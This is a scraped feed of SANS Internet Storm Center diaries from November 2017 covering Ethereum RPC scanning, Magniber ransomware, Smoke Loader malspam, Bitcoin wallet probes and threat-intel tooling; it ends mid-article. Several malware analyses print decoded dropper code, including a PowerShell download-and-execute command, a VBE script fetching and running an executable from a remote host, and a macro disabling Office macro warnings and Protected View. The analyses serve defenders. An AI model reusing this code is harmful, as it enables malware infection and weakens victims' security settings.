SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 45 perc 14 másodperc
18 óra 8 másodperc

ISC Stormcast For Wednesday, November 22nd 2017 https://isc.sans.edu/podcastdetail.html?id=5765, (Wed, Nov 22nd)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 21.

Internet Wide Ethereum JSON-RPC Scans, (Tue, Nov 21st)

Ethereum is certainly getting a lot of press this year, and with this, we also see the bad guys spending more effort to steal the shiny fresh off the digital mint crypto coins. Etherum itself is a rather complex beast, but one feature Ethereum nodes provide is a remote access option via RPC. Typically, nodes are listening on %%port:8545%%. For the last few months, we have been seeing a steady increase in requests for this port.

A typical request sent:

POST / HTTP/1.1
Host: a.b.c.d:8545
User-Agent: Geth/v1.6.1-stable-021c3c28/linux-amd64/go1.8.1
Content-Length: 86
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1", false], "id":406270}

The user agent matches the typical Go library used to implement these requests. At this point, this looks just like a recognizance query. If anybody has the "right" response to this type of query, please let me know. the "id" parameter changes between requests.

Currently, two IP addresses are scanning specifically hard using these requests:

216.158.238.186 - Interserver Inc. (a New Jersey hosting company)
46.166.148.120 - NFOrce Entertainment BV (Durch hosting company)

If you are using Ethereum, and if you are running an Ethereum node, then please make sure the node is not listening to inbound queries. As far as I can tell, these requests are simple HTTP requests, they are not protected by same-origin policy and can easily be issued via Javascript. It would be trivial to have Javascript look for a node on the host connecting to a web server, even if the host is behind NAT. Probably because investors in cryptocurrencies are used to taking risks, the JSON RPC interface does not provide for authentication. Instead, if you do want to use any form of authentication, you have to proxy the queries via a server like Nginx that is then able to filter and authenticate requests.

If you are more familiar with the use of JSON-RPC for Ethereum, or if you have anything else to contribute to this, please let me know!

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|

      (c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 21.

ISC Stormcast For Tuesday, November 21st 2017 https://isc.sans.edu/podcastdetail.html?id=5763, (Tue, Nov 21st)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 20.

ISC Stormcast For Monday, November 20th 2017 https://isc.sans.edu/podcastdetail.html?id=5762, (Mon, Nov 20th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 20.

One month later, Magniber ransomware is still out there, (Mon, Nov 20th)

Introduction

Last month in October 2017, several sources reported a new ransomware family distributed by Magnitude exploit kit (EK) [1, 2, 3].  Security researchers dubbed the new ransomware "Magniber" because it appears to have replaced Cerber ransomware as distributed through Magnitude EK.  Cerber seems to have disappeared since then, but as November 2017 progresses, we're still seeing Magniber.

Magnitude EK appears to be the sole distributer of Magniber, and it still appears to be targeting Korea as noted in the original reports.  I had tried to generate infection traffic from Magniber in my home lab; however, I was never successful until I used a Korean version of Windows.

Magniber didn't run on my English version of Windows.

Details

Nothing new, really, since the original wave of reporting on Magniber.  However, I wanted to show this activity is still happening.  The most recent Magniber sample I can confirm is SHA256 hash 7a2697e3dc0f2a678dedc8d9842a55b8efe6e11933aa32fb856f61ad5e3eecd7 first submitted to VirusTotal last week on 2017-11-14 [4].

My thanks to researchers like @hasherezade who have submitted Magniber samples to VirusTotal and left comments with the #Magniber tag.  That made recent samples much easier to find.


Shown above:  Desktop of an infected Korean Windows computer.


Shown above:  Tor page for viewing the decryption instructions.


Shown above:  Traffic from an infection filtered in Wireshark.

Final words

My standard disclaimer still applies.  System administrators and the technically inclined can implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

If I can generate some Magnitude EK traffic and acquire a newer Magniber sample, I will post the updated information.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

References:

[1] http://blog.trendmicro.com/trendlabs-security-intelligence/magnitude-exploit-kit-now-targeting-korea-with-magniber-ransomware/
[2] https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/
[3] https://www.bleepingcomputer.com/news/security/goodbye-cerber-hello-magniber-ransomware/
[4] https://www.virustotal.com/en/file/7a2697e3dc0f2a678dedc8d9842a55b8efe6e11933aa32fb856f61ad5e3eecd7/analysis/

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 19.

Resume-themed malspam pushing Smoke Loader, (Sun, Nov 19th)

Introduction

Malicious spam (malspam) with malware disguised as a resume.  This is a long-running theme frequently used by criminals to push various types of malware.

My Online Security reported about a recent wave earlier this month on 2017-11-10.  These resume-themed emails contain Word documents with malicious macros, and the macros are designed to infect your Windows computer.  Recent macros associated with this campaign have used 89.248.169[.]136/bigmac.jpg to retrieve malware used to infect a victim's computer.  When I checked, that URL returned a Windows executable file, and it has hosted different types malware since it was first reported back in October 2017.

Emails from this most recent wave of malspam have been submitted to VirusTotal as recently as Saturday 2017-11-18.  I collected some of these messages and generated an infection in my lab.  Today's diary reviews recent emails from this wave of malspam, and it examines the associated infection traffic.


Shown above:  Flow chart for the infection traffic.

What's the malware this time?

Last month on 2017-10-08, My Online Security reported Word documents from this malspam were pushing GlobeImposter ransomware.  However, on 2017-11-18, Word documents from this malspam were pushing Smoke Loader (sometimes spelled as single word: SmokeLoader).  Smoke Loader is a malware downloader, and it's also known as Sharik or Dofoil.


Shown above:  Smoke Loader sample identified as Dofoil by Microsoft.

I've seen different malware downloaded by Smoke Loader, but during Saturday's 2017-11-18 infection, the follow-up malware was Zeus Panda Banker.

The emails

Send dates show as Wednesday 2017-11-15 or Thursday 2017-11-16, but emails from this malspam were received through Saturday 2017-11-18.  Each email had a similar message body, but with random names for the sender and email attachments.  All emails from this malspam had the same subject line: Website Job Application.


Shown above:  Screenshot from a spreadsheet tracker.


Shown above:  Screenshot from one of the emails.


Shown above:  Attachment from one of the emails.

The traffic

The Smoke Loader sample didn't run on a virtual machine (VM), and it didn't do anything when submitted to publicly available sandboxes like www.reverse.it.  I had to generate infection traffic on a physical Windows host.

From a physical host in my lab, the Word document macro downloaded Smoke Loader, and Smoke Loader downloaded Zeus Panda Banker.  Network traffic and the associated alerts confirmed this activity.


Shown above:  Traffic from an infection filtered in Wireshark.


Shown above:  Alerts from the traffic in Sguil on Security Onion using Suricata and the EmergingThreats Pro ruleset.


Shown above:  Post-infection alerts for Zeus Panda Banker using Snort 2.9.11 and the Snort Subscription ruleset.

Indicators

The following traffic to legitimate domains was generated by Smoke Loader:

  • www.bing.com - GET /
  • support.microsoft.com - POST /kb/2460049
  • java.com - POST /help
  • java.com - GET /en/download/help/index.xml
  • java.com - GET /en/download/help/
  • go.microsoft.com - POST /fwlink/?LinkId=133405
  • msdn.microsoft.com - GET /vstudio

The following traffic to malicious domains was noted during the infection.

Word macro downloading Smoke Loader:

  • 89.248.169[.]136 port 80 - 89.248.169[.]136 - GET /bigmac.jpg

Smoke Loader traffic for check-in and downloading follow-up malware:

  • 145.249.104[.]14 port 80 - securityupdateserver3[.]com - POST /blog/wp.php

HTTPS/SSL/TLS traffic caused by Zeus Panda Banker:

  • 27.102.67[.]144 port 443 - gromnes[.]top

The following file hashes were noted for Word documents from this malspam:

The following file hash was noted for Smoke Loader from this infection:

The following file hash was noted for Zeus Panda Banker from this infection:

Final words

Malspam uses a variety of attachments and techniques to distribute malware.  I've seen a lot of Word attachments from malspam in recent weeks, and malicious Office macros are a common method.  However, these macros are fairly obvious, and educated users can easily avoid them.  Additionally, system administrators and the technically inclined can implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Email, malware, and traffic samples for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 18.

BTC Pickpockets, (Sat, Nov 18th)

I observed requests to my webserver to retrieve Bitcoin wallet files:

The files they are looking for are:

wallet - Copy.dat
wallet.dat
wallet.dat.1
wallet.dat.zip
wallet.tar
wallet.tar.gz
wallet.zip
wallet_backup.dat
wallet_backup.dat.1
wallet_backup.dat.zip
wallet_backup.zip

I've seen a couple of such request a couple of years ago, but it's the first time I see that many. The first time I observed this was late 2013, in the middle of the first big BTC price rally.

Please post a comment if you observed similar requests.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 17.

Top-100 Malicious IP STIX Feed, (Fri, Nov 17th)

Yesterday, we were contacted by one of our readers who asked if we provide a STIX feed of our blocked list or top-100 suspicious IP addresses. STIX[1] means “Structured Threat Information eXpression” and enables organizations to share indicator of compromise (IOC) with peers in a consistent and machine readable manner.

The ISC already provides an API[2] that allows you to query our databases. The following query will return the top-100 bad IP addresses: (output has been beautified)

$ curl https://isc.sans.edu/api/topips/records/100 <?xml version="1.0" encoding="UTF-8"?> <topips> <ipaddress> <rank>1</rank> <source>046.101.124.074</source> <reports>132723</reports> <targets>110</targets> </ipaddress><ipaddress> <rank>2</rank> <source>130.211.015.150</source> <reports>21166</reports> <targets>4474</targets> </ipaddress><ipaddress> ... </ipaddress>

You can select the output format by appending a “?<format>” at the end of the URL. Supported formats are: xml, text, json, php. The different formats make the output easy to integrate into third-party application but our reader’s comment was legit. If they are standards like STIX, why not use them?

Python has a module[3] to handle STIX data. I wrote a quick script to convert the output of the "/topips/records/100" API call into a STIX 1.2 XML format:

<stix:STIX_Package xmlns:stix="http://stix.mitre.org/stix-1" xmlns:AddressObj="http://cybox.mitre.org/objects#AddressObject-2" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:stixVocabs="http://stix.mitre.org/default_vocabularies-1" xmlns:cybox="http://cybox.mitre.org/cybox-2" xmlns:indicator="http://stix.mitre.org/Indicator-2" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:stixCommon="http://stix.mitre.org/common-1" xmlns:example="http://example.com" xmlns:cyboxCommon="http://cybox.mitre.org/common-2" xmlns:xlink="http://www.w3.org/1999/xlink" id="example:Package-05d930dd-db95-4ef0-928e-6a697a1d54e0" version="1.2"> <stix:STIX_Header/> <stix:Indicators> <stix:Indicator id="example:indicator-c0d228b3-8f67-44f9-add9-7b48936586d4" timestamp="2017-11-17T07:41:00.355151+00:00" xsi:type='indicator:IndicatorType'> <indicator:Title>SANS ISC Malicious IP</indicator:Title> <indicator:Type xsi:type="stixVocabs:IndicatorTypeVocab-1.1">IP Watchlist</indicator:Type> <indicator:Observable id="example:Observable-7e3046bd-ea5e-4998-9520-d3ee84a8a266"> <cybox:Object id="example:Address-9e46b000-bf82-47aa-ab40-84d088174470"> <cybox:Properties xsi:type="AddressObj:AddressObjectType" category="ipv4-addr"> <AddressObj:Address_Value>46.101.124.74</AddressObj:Address_Value> </cybox:Properties> </cybox:Object> </indicator:Observable> </stix:Indicator> </stix:Indicators> </stix:STIX_Package>

The script is available in my GitHub repository[4].

If you want to test, I'm publishing a live feed[5] (updated every 2 hours). Let me know if it's useful to you, if the STIX file is correct (read: I'm not a STIX guru) or if you need some improvements. 

[1] https://stixproject.github.io/
[2] https://isc.sans.edu/api/
[3] https://github.com/STIXProject/python-stix
[4] https://github.com/xme/toolbox/blob/master/isc2stix.py
[5] https://misp.truesec.be/isc-top-100-stix.xml

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 17.

ISC Stormcast For Friday, November 17th 2017 https://isc.sans.edu/podcastdetail.html&#x3f;id=5760, (Fri, Nov 17th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 16.

Suspicious Domains Tracking Dashboard, (Thu, Nov 16th)

Domain names remain a gold mine to investigate security incidents or to prevent some malicious activity to occur on your network (example by using a DNS firewall). The ISC has also a page[1] dedicated to domain names. But how can we detect potentially malicious DNS activity if domains are not (yet) present in a blacklist? The typical case is DGA’s of Domain Generation Algorithm[2] used by some malware families.

I have a dashboard that helps me to keep track on the DNS activity on networks under my control. Here is a screenshot:

The dashboard contains the following searches:

“DNS Requests by Type”

This timeline represents the DNS traffic based on the queries (“A”, “AAAA”, “NS”, etc). A peak of “TXT” queries may indicate some data ex-filtration or DNS tunnelling ongoing.

“Top 20 Rare TLD’s”

With the explosion of new TLD’s (Top Level Domains), we see that some of them are mainly used by bad guys. Usually, the domain registration process is easy (free) or registrars protect the domain owner’s privacy. TLD’s are extracted from the queries via a regex (the string after the last ‘.’ character). The top-20 is sorted by the number of occurrences found.

“Very Long Domain Names”

In this case, the string before the last dot is extracted and its size checked. DGA or kill switch domain use very long random strings (do you remember the Wannacry[3] case?

“Suspicious TLD’s”

This search returns DNS queries that use a “suspicious” TLD’s based on a blacklist that I maintain. Some examples:

.pw .top .ga .cn .ru .co .ml

“Malicious Domains”

This search returns DNS queries that are reported as valid IOC’s from my MISP[4] instance. To achieve this, I’m using the Splunk custom search command ‘getmispioc’[5]:

index=securityonion sourcetype=bro_dns [|getmispioc last=5d type=domain |rename value as qclass |fields qclass ] | rename qclass as Domain | stats count as Hits by Domain

To generate this dashboard, I’m using bro_dns logs indexed in a Splunk instance but there is nothing specific to this setup and the dashboard can be easily deployed on another system like an ELK stack.

Happy hunting!

[1] https://isc.sans.edu/suspicious_domains.html
[2] https://en.wikipedia.org/wiki/Domain_generation_algorithm
[3] http://securityaffairs.co/wordpress/59072/cyber-crime/wannacry-ransomware-kill-switch.html
[4] http://misp-project.org/
[5] https://blog.rootshell.be/2017/10/31/splunk-custom-search-command-searching-misp-iocs/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 16.

ISC Stormcast For Thursday, November 16th 2017 https://isc.sans.edu/podcastdetail.html&#x3f;id=5758, (Thu, Nov 16th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 15.

If you want something done right, do it yourself&#x21;, (Wed, Nov 15th)

Another day, another malicious document! I like to discover how the bad guys are creative to write new pieces of malicious code. Yesterday, I found another interesting sample. It’s always the same story, a malicious document is delivered by email. The document was called 'Saudi Declare war Labenon.doc’ (interesting name by the way!). According to VT, it is already flagged as malicious by many antivirus[1] (SHA267: 7f39affc9649606f57058b971c0c5a7612f7d85ef7ed54c95034cd2b9ae34602/detection). The document is a classic RTF file that triggers the well-known %%cve:2017-0199%%. When started, it downloads the first file from:

hXXp://fbcom[.]review/h/1.hta

The grabbed macro is split into two main sections. The first one is not very well obfuscated:

<script language="VBScript">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 : Set Office = CreateObject("WScript.Shell") : Office.run ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66) … ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(41) & ChrW(59) & ChrW(125) & ChrW(99) & ChrW(97) & ChrW(116) & ChrW(99) & ChrW(104) & ChrW(123) & ChrW(125) & ChrW(101) & ChrW(120) & ChrW(105) & ChrW(116) & ChrW(59),0,true

It’s easy to decode it with Python:

>>> import re >>> string="ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ... & ChrW(116) & ChrW(59)" >>> string = re.sub("ChrW", "chr", string) >>> string = re.sub("&", "+", string) >>> eval(string)

Here is a beautified version of the decoded command:

powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command try { $down = New-Object System.Net.WebClient; $url = 'HTTPS:/'+'/'+'fbcom.review/f/1.exe’; $file = $env:temp + '\\1.exe’; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); } catch{} exit;”

The downloaded and executed file (1.exe) is also known on VT[2] (SHA256: 0c8706816573c3d527a70e21606b39d35a3924953b8accb6d6b7b563b9f56899). This is a classic behaviour.

That’s the second part of the script that looks more interesting. Indeed, it tries to alter the configuration of Microsoft Office to authorize dangerous actions to be performed. Windows registry keys are changed for multiple versions of Microsoft Office as well as programs. The features that are altered:

Key Type Possible values VBAWarnings DWORD

1 (Enable all macros)
2 (Disable all macros without notification
3 (Disable all macros except those digitally signed
4: Disable all without notification

Disable*InPV DWORD

0 (Disabled)
1 (Enabled)

The keys "Disable*InPV" are related that the “Protected View”[3] added by Microsoft to increase the overall security of Office. It is defined as is:

Files from the Internet and from other potentially unsafe locations can contain viruses, worms, or other kinds of malware that can harm your computer. To help protect your computer, files from these potentially unsafe locations are opened in Protected View. By using Protected View, you can read a file and see its contents while reducing the risks.

The macro creates/updates the registry keys for different versions of Microsoft Office (11 to 16) and for Word & Excel:

Set wso = CreateObject("WScript.Shell") wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD" wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"

As the saying goes, "if you want something done right, you have to do it yourself!" and this is also valid for malware. Stay safe!

[1]  https://www.virustotal.com/#/file/7f39affc9649606f57058b971c0c5a7612f7d85ef7ed54c95034cd2b9ae34602/detection
[2] https://www.virustotal.com/#/file/0c8706816573c3d527a70e21606b39d35a3924953b8accb6d6b7b563b9f56899/detection
[3] https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 15.

ISC Stormcast For Wednesday, November 15th 2017 https://isc.sans.edu/podcastdetail.html&#x3f;id=5756, (Wed, Nov 15th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 14.

ISC Stormcast For Tuesday, November 14th 2017 https://isc.sans.edu/podcastdetail.html&#x3f;id=5754, (Tue, Nov 14th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 13.

VBE Embeded Script (info.zip), (Mon, Nov 13th)

My honeypot captured several copies of this file info.zip (info.vbe). I used Didier's Python script decode-vbe.py to examine the file and obtained following output:

vagrant@brain:~$ ./decode-vbe.py info.vbe
Set WshShell = CreateObject("WScript.Shell")
If Instr(1,WScript.FullName,"WScript.exe",1)>0 Then
  WshShell.Run "CScript """&WScript.ScriptFullName&"""",0: WScript.Quit
End if
Tmp=WshShell.ExpandEnvironmentStrings("%TEMP%")&"\tmp2.exe"
strFileURL = "http://www.testswork.ru/tmp2.exe"
strHDLocation = Tmp
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1

objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0

Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if

Set objXMLHTTP = Nothing
Echo=DosCommand("cmd /c (echo [ZoneTransfer] & echo ZoneId=0) > "&Tmp&":Zone.Identifier",2000)
Echo=DosCommand("cmd /c "&Tmp&" ",2000)

WScript.Quit
Function DosCommand(command,sleep)
  Set WshExec=WshShell.Exec(command): WScript.Sleep sleep: WshExec.Terminate()
  DosCommand=WshExec.StdOut.ReadAll

This VBE encoded script is currently detected by 41 AV engines and associated with a Coin Miner. The file in this URL is no longer active but the domain still resolves and should be blocked.

[1] https://blog.didierstevens.com/2016/03/29/decoding-vbe/
[2] https://www.virustotal.com/#/file/30daba44a4a25ff5750508613f897057a55337458f19b562e2ed1172c77e626b/detection

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 13.

jsonrpc Scanning for root account, (Mon, Nov 13th)

In the past few weeks I have noticed this type of POST activity showing in my honeypot {"id":0,"jsonrpc":"2.0","method":"eth_accounts"} looking for ID 0 (root). Activity has a static source port of 65535 and destination port 8080.


Do you have logs to share related to this type of activity?

[1] https://github.com/ethereum/wiki/wiki/JSON-RPC
[2] https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_accounts

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 13.

ISC Stormcast For Monday, November 13th 2017 https://isc.sans.edu/podcastdetail.html&#x3f;id=5752, (Mon, Nov 13th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2017. november 11.

Keep An Eye on your Root Certificates, (Sat, Nov 11th)

A few times a year, we can read in the news that a rogue root certificate was installed without the user consent. The latest story that pops up in my mind is the Savitech audio drivers which silently installs a root certificate[1]. The risks associated with this kind of behaviour are multiple, the most important remains performing MitM attacks. New root certificates are not always the result of an attack or infection by a malware. Corporate end-points might also get new root certificates. Indeed, more and more companies are deploying SSL inspections tools. It could be interesting to keep an eye on what’s happening in your certificate store. On Windows systems, there is a GUI tool for this purpose, that you can call from the command line:

PC C:\Users\xavier> certmgr.msc

Or, from the Control panel ("Manager User/Computer Certificated"):

A GUI is nice but the power of the command line is better! We can also interact with the certificate store via PowerShell. PowerShell has a virtual drive ‘CERT:’ that allows interacting with the certificate store. Here are some examples of commands:

PS C:\Users\xavier> ls CERT: Location : CurrentUser StoreNames : {TrustedPublisher, ClientAuthIssuer, Root, UserDS...} Location : LocalMachine StoreNames : {TrustedPublisher, ClientAuthIssuer, Root, TrustedDevices…} PS C:\Users\xavier> ls CERT:\CurrentUser Name : TrustedPublisher Name : ClientAuthIssuer Name : Root Name : UserDS Name : CA Name : REQUEST Name : AuthRoot Name : TrustedPeople Name : ADDRESSBOOK Name : My Name : SmartCardRoot Name : Trust Name : Disallowed

Now, let’s list the CA for the current user:

PS C:\Users\xavier> ls CERT:\CurrentUser\AuthRoot PSParentPath: Microsoft.PowerShell.Security\Certificate::CurrentUser\AuthRoot Thumbprint Subject ---------- ------- F18B538D1BE903B6A6F056435B171589CAF36BF2 CN=thawte Primary Root CA - G3, OU="(c) 2008 thawte, Inc. - For authorized use only", OU=Certification Services... E12DFB4B41D7D9C32B30514BAC1D81D8385E2D46 CN=UTN-USERFirst-Object, OU=http://www.usertrust.com, O=The USERTRUST Network, L=Salt Lake City, S=UT, C=US DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212 CN=GeoTrust Global CA, O=GeoTrust Inc., C=US DAC9024F54D8F6DF94935FB1732638CA6AD77C13 CN=DST Root CA X3, O=Digital Signature Trust Co. D69B561148F01C77C54578C10926DF5B856976AD CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3 D4DE20D05E66FC53FE1A50882C78DB2852CAE474 CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE (remaining list removed)

You can display more details with only a few lines of code:

